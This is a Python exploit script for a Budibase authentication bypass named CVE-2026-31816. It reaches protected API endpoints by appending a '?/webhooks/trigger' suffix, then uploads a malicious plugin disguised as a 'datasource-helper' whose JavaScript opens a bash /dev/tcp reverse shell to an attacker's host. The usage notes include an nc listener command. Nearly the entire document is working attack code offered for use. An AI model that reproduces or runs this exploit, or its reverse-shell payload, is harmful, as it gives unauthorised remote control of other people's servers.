Budibase Authentication Bypass to Plugin-Upload Reverse Shell — CVE-2026-31816

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169

#!/usr/bin/env python3
"""
CVE-2026-31816 - Budibase Reverse Shell Exploit

Usage:
    # Start listener first
    nc -lvnp 4444
    
    # Run exploit
    python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444
"""

import argparse
import requests
import json
import sys
import os
import tarfile
import io

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class RShellExploit:
    def __init__(self, target: str, lhost: str, lport: int, verify_ssl: bool = False):
        self.target = target.rstrip('/')
        self.lhost = lhost
        self.lport = lport
        self.bypass = '?/webhooks/trigger'
        self.session = requests.Session()
        self.session.verify = verify_ssl

    def _get_bypass_url(self, endpoint: str) -> str:
        if '?' in endpoint:
            return f"{self.target}{endpoint}&/webhooks/trigger"
        return f"{self.target}{endpoint}{self.bypass}"

    def check_vulnerability(self) -> bool:
        url = self._get_bypass_url('/api/integrations')
        try:
            resp = self.session.get(url, timeout=10)
            return resp.status_code == 200
        except:
            return False

    def create_rshell_plugin(self, output_path: str = "rshell_plugin.tar.gz") -> str:
        print(f"[*] Creating reverse shell plugin targeting {self.lhost}:{self.lport}")

        package_json = {
            "name": "datasource-helper",
            "version": "1.0.0",
            "description": "Data source helper plugin"
        }

        schema_json = {
            "type": "datasource",
            "metadata": {},
            "schema": {
                "description": "Helper Datasource",
                "friendlyName": "Helper DS",
                "type": "Non-relational",
                "datasource": {
                    "host": {"type": "string", "required": True, "default": "localhost"},
                    "port": {"type": "number", "required": True, "default": 27017}
                },
                "query": {
                    "read": {"type": "json", "fields": {}},
                    "create": {"type": "json", "fields": {}}
                }
            }
        }

        # Simple reverse shell using bash /dev/tcp
        rshell_js = f'''// Reverse Shell - CVE-2026-31816
var cp = require("child_process");
var cmd = "bash -c \'bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1\'";
console.log("[RShell] Connecting to {self.lhost}:{self.lport}...");
try {{
    cp.exec(cmd);
    console.log("[RShell] Shell spawned");
}} catch(e) {{
    console.log("[RShell] Error: " + e);
}}
module.exports = {{schema: {{}}, integration: function() {{}}}};
'''

        with tarfile.open(output_path, "w:gz") as tar:
            pkg_data = json.dumps(package_json, indent=2).encode('utf-8')
            pkg_info = tarfile.TarInfo(name="package.json")
            pkg_info.size = len(pkg_data)
            tar.addfile(pkg_info, io.BytesIO(pkg_data))

            schema_data = json.dumps(schema_json, indent=2).encode('utf-8')
            schema_info = tarfile.TarInfo(name="schema.json")
            schema_info.size = len(schema_data)
            tar.addfile(schema_info, io.BytesIO(schema_data))

            js_data = rshell_js.encode('utf-8')
            js_info = tarfile.TarInfo(name=f"{package_json['name']}.js")
            js_info.size = len(js_data)
            tar.addfile(js_info, io.BytesIO(js_data))

        return output_path

    def upload_plugin(self, file_path: str) -> dict:
        url = self._get_bypass_url('/api/plugin/upload')
        print(f"[*] Uploading to: {url}")

        with open(file_path, 'rb') as f:
            files = {'file': (os.path.basename(file_path), f, 'application/gzip')}
            resp = self.session.post(url, files=files, timeout=60)

        print(f"[*] Status: {resp.status_code}")
        print(f"[*] Response: {resp.text[:500]}")

        if resp.status_code in [200, 201]:
            return resp.json() if resp.text else {}
        return None


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-31816 Reverse Shell Exploit")
    parser.add_argument("-t", "--target", required=True, help="Target URL")
    parser.add_argument("--lhost", required=True, help="Your IP (listener host)")
    parser.add_argument("--lport", type=int, default=4444, help="Listener port (default: 4444)")
    args = parser.parse_args()

    print("="*60)
    print("CVE-2026-31816 - Reverse Shell Exploit")
    print("="*60)
    print(f"[*] Target: {args.target}")
    print(f"[*] Reverse shell: {args.lhost}:{args.lport}")
    print()
    print("[!] Make sure you have a listener running:")
    print(f"    nc -lvnp {args.lport}")
    print()

    exploit = RShellExploit(args.target, args.lhost, args.lport)

    # Check vulnerability
    print("[*] Checking vulnerability...")
    if not exploit.check_vulnerability():
        print("[-] Target does not appear vulnerable")
        sys.exit(1)
    print("[+] Target is vulnerable!")

    # Create plugin
    plugin_path = exploit.create_rshell_plugin()

    # Upload
    print("\n[*] Uploading reverse shell plugin...")
    result = exploit.upload_plugin(plugin_path)

    if result:
        print("\n" + "="*60)
        print("[+] SUCCESS! Plugin uploaded!")
        print(f"[+] Check your listener at {args.lhost}:{args.lport}")
        print("="*60)
    else:
        print("\n[-] Upload failed - check error message above")

    # Cleanup
    if os.path.exists(plugin_path):
        os.remove(plugin_path)


if __name__ == "__main__":
    main()